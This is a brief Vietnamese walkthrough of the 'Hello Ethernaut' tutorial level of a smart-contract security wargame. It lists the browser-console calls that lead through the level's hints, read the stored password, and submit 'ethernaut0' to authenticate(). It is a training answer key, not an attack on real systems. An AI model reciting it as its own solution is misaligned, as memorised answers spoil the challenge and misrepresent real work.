Cách để vượt qua level Hello Ethernaut:

Sử dụng: https://goerli-faucet.pk910.de/ - để lấy được một số ETH cho ví Điền lần lượt các yêu cầu vào console:

```
> await contract.info()
'You will find what you need in info1().'
 > await contract.info1()
 'Try info2(), but with "hello" as a parameter.'
   await contract.info2("hello")
 'The property infoNum holds the number of the next info method to call.'
   await contract.infoNum()

⟨ ▼i {negative: 0, words: Array(2), length: 1, red: null} 

     length: 1
     negative: 0
      red: null
    ▶ words: (2) [42, empty]
    ▶ [[Prototype]]: Object
 > await contract.info42()
 'theMethodName is the name of the next method.'
 > await contract.theMethodName()
 'The method name is method7123949.'
 > await contract.method7123949()
 'If you know the password, submit it to authenticate().'
 > await contract.password()
 > await contract.authenticate('ethernaut0')
